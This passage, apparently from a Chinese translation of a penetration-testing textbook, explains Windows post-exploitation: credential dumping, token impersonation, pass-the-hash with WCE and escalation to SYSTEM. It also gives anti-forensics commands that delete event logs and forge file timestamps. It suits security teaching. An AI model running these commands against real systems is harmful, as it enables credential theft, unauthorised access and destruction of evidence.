通常可以获得对系统的“访客”或“用户”访问权限。攻击者通常受到降低的权限级别的限制,因此,常见的后渗透活动是从“访客”提升访问权限到“用户”再到“管理员”,最终到“系统”。获得访问权限的这种上升过程通常被称为垂直提升。
用户可以实施多种方法来获取高级访问凭据,包括以下内容:
-
使用网络嗅探器和/或键盘记录器来捕获传输的用户凭据(
dsniff
旨在从实时传输或从 Wireshark 或 tshark 会话保存的pcap
文件中提取密码)。 -
搜索本地存储的密码。一些用户会在电子邮件文件夹中收集密码(通常称为“密码”)。由于密码重用和简单的密码构建系统很常见,因此在提升过程中找到的密码可以被使用。
NirSoft(www.nirsoft.net)制作了几个免费工具,可以使用meterpreter
上传到受损系统,从操作系统和缓存密码的应用程序(邮件、远程访问软件、FTP 和 Web 浏览器)中提取密码。
-
使用
meterpreter
或应用程序(如hobocopy、fgdump和pwdump)转储SAM
和SYSKEY
文件(这些可以使用meterpreter
上传到目标)。 -
使用诸如进程注入器(www.tarasco.org/security/Process_Injector/)之类的工具,直接将恶意代码注入到在
SYSTEM
级别运行的服务中。 -
当一些应用程序加载时,它们会按特定顺序读取动态链接库(DLL)文件。可以创建一个与合法 DLL 同名的伪造 DLL,将其放置在特定目录位置,并让应用程序加载和执行它,从而使攻击者获得提升的权限。已知有几个应用程序容易受到此类 DLL 劫持的影响(www.exploit-db.com/dll-hijacking-vulnerable-applications/)。
-
应用使用缓冲区溢出或其他手段来提升权限的漏洞利用。
-
执行
getsystem
脚本,将自动将管理员权限提升到SYSTEM
级别,从meterpreter
提示符中执行。
提示
Windows 7 和 2008 不允许从不受信任的系统远程访问管理共享,如ADMIN$
、C$
等。这些共享可能需要meterpreter
脚本(如 incognito)或支持通过 SMB 进行攻击。为了解决这个问题,将HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
添加到注册表,并添加一个名为LocalAccountTokenFilterPolicy
的新 DWORD(32 位)键,并将值设置为1
。
使用隐身模式重播身份验证令牌
一个特别有趣的meterpreter
库是incognito
,它允许你模拟和重播用户令牌。令牌是临时密钥,允许你访问网络和系统资源,而无需在每次特定访问时提供密码或其他凭据。这些令牌在系统重启之前会持续存在。
一旦你妥协了一个系统,你可以使用令牌模拟之前创建令牌的用户,而无需破解用户的密码。这种令牌模拟可能允许攻击者提升他们的权限。
在提示符中输入以下内容:
use incognito
执行前面的命令的结果如下截屏所示:
第一步是识别受损系统上存在的所有有效令牌。你能看到的令牌数量将取决于最初用于妥协目标系统的访问级别。
你还会看到有两种类型的令牌,如下面的截屏所示。委派令牌支持交互式登录(例如,本地登录系统或通过远程桌面登录)。模拟令牌用于非交互式会话,例如当系统连接到网络驱动器时。
如你所见,一个委派令牌被识别为管理员
。如果我们可以模拟这个令牌,我们就可以获得它的权限。
在incognito
中调用impersonate_token
命令(如下面的截屏所示),请注意命令中需要两个反斜杠:
现在,如果我们从meterpreter
提示符中运行 shell 命令并输入whoami
,它会将我们标识为我们模拟的管理员令牌。
使用 Windows 凭据编辑器操纵访问凭据
Windows 凭据编辑器(WCE)—[www.ampliasecurity.com/research/wcefaq.html
](http://www.ampliasecurity.com/research/wcefaq.html)—是incognito
脚本的改进版本。它有 32 位和 64 位版本,以及声称可在所有 Windows 平台上工作的“通用”版本。WCE 允许用户做以下事情:
-
对 Windows 系统执行传递哈希攻击
-
从系统内存中收集 NTLM 凭据(带或不带代码注入)
-
从 Windows 系统收集 Kerberos 票据
-
使用收集到的 Kerberos 票据在其他 Windows 或 Unix 系统上获取访问权限
-
转储 Windows 系统存储的明文密码(见下一节)
要使用 WCE,从meterpreter
提示符上传可执行文件到受损系统。然后,启动交互式 shell 并执行 WCE。如下面的截屏所示,-w
选项轻松提取了明文管理员
密码:
从管理员升级到 SYSTEM
管理员权限允许攻击者创建和管理帐户,并访问系统上可用的大部分数据。然而,一些复杂的功能要求请求者具有SYSTEM
级别的访问权限。有几种方法可以继续将权限升级到SYSTEM
级别。最常见的方法是使用at
命令,Windows 用它来安排特定时间的任务。at
命令始终以SYSTEM
级别的权限运行。
使用交互式 shell(在meterpreter
提示符下输入shell
),打开命令提示符并确定受损系统的本地时间。如果时间是下午 12:50(at
函数使用 24 小时制),则安排一个交互式命令 shell 在稍后的时间运行,如下面的屏幕截图所示:
在安排at
任务运行后,在meterpreter
提示符下重新确认您的访问权限,如下面的屏幕截图所示:
如您所见,权限已被提升到SYSTEM
级别。
使用水平升级访问新账户
在水平升级中,攻击者保留其现有凭据,但使用它们来操作不同用户的帐户。例如,受损系统 A 上的用户攻击系统 B 上的用户,试图对其进行攻击。
当我们审查一些攻击向量时,我们将使用水平升级攻击。
掩盖你的行踪
一旦系统被利用,攻击者必须掩盖自己的行踪,以避免被发现,或者至少使事件的重建对防御者更加困难。
攻击者可以完全删除 Windows 事件日志(如果它们正在被活跃地保留在受损的服务器上)。这可以通过系统的命令行和以下命令来完成:
C:\ del %WINDIR%\*.log /a/s/q/f
该命令指示删除所有日志(/a
),包括所有子文件夹中的文件(/s
)。/q
选项禁用所有查询,要求是或否的响应,/f
选项强制删除文件,使恢复更加困难。
这也可以通过在meterpreter
提示符下发出clearev
命令来完成。这将清除目标系统的应用程序、系统和安全日志(此命令没有选项或参数)。
通常情况下,删除系统日志不会触发用户的任何警报。事实上,大多数组织配置日志记录是如此随意,以至于缺少系统日志被视为可能发生的情况,它们的丢失并不会受到深入调查。
Metasploit 还有一个额外的技巧——timestomp
选项允许攻击者更改文件的 MACE 参数(文件的最后修改时间、访问时间、创建时间和 MFT 条目修改时间)。一旦系统被攻破并建立了meterpreter
shell,就可以调用timestomp
,如下面的屏幕截图所示:
例如,受损系统的C:
包含一个名为README.txt
的文件。该文件的 MACE 值表明它是最近创建的,如下面的屏幕截图所示:
如果我们想隐藏这个文件,可以将它移动到一个杂乱的目录,比如windows\system32
。然而,任何按照创建日期或其他基于 MAC 的变量对该目录的内容进行排序的人都会发现这个文件。因此,要将cmd.exe
文件的 MAC 信息复制到README.txt
文件中,请使用以下命令:
meterpreter>timestomp README.txt -f
C:\\WINDOWS\system32\cmd.exe
我们还可以选择使用-b
开关来清除 MAC 数据。如下面的屏幕截图所示,我们选择将 MAC 数据更改为未来的时间(2106 年)。
这样的更改会引起调查人员的注意,但他们将无法使用数据进行法证分析。原始 Windows 平台的属性是什么样子的?如果系统管理员调用文件的系统属性,创建和修改日期已经改回到 1601 年(微软用作初始系统启动时间的日期)。相比之下,文件的最后访问时间保持准确。您可以在以下截图中看到:
尽管这是预期行为,但它仍然为调查人员提供线索。为了完全破坏调查,攻击者可以使用以下命令递归更改目录或特定驱动器上的所有设置时间:
meterpreter>timestompC:\\ -r
解决方案并不完美。很明显发生了攻击。此外,时间戳可能会保留在硬盘的其他位置,并可供调查人员访问。如果目标系统正在使用入侵检测系统(如 Tripwire)积极监控系统完整性的变化,将生成timestomp
活动的警报。因此,在真正需要隐蔽方法时,销毁时间戳的价值有限。
摘要
在这一章中,我们关注的是目标系统被利用后紧随其后的行动。我们回顾了对服务器和本地环境进行的初步快速评估。我们还学会了如何识别和定位感兴趣的目标文件,创建用户账户,执行垂直升级以提高访问权限,并消除入侵迹象。
在下一章中,我们将学习如何实施持久后门以保留访问权限,并学习支持与被攻击系统进行隐蔽通信的技术。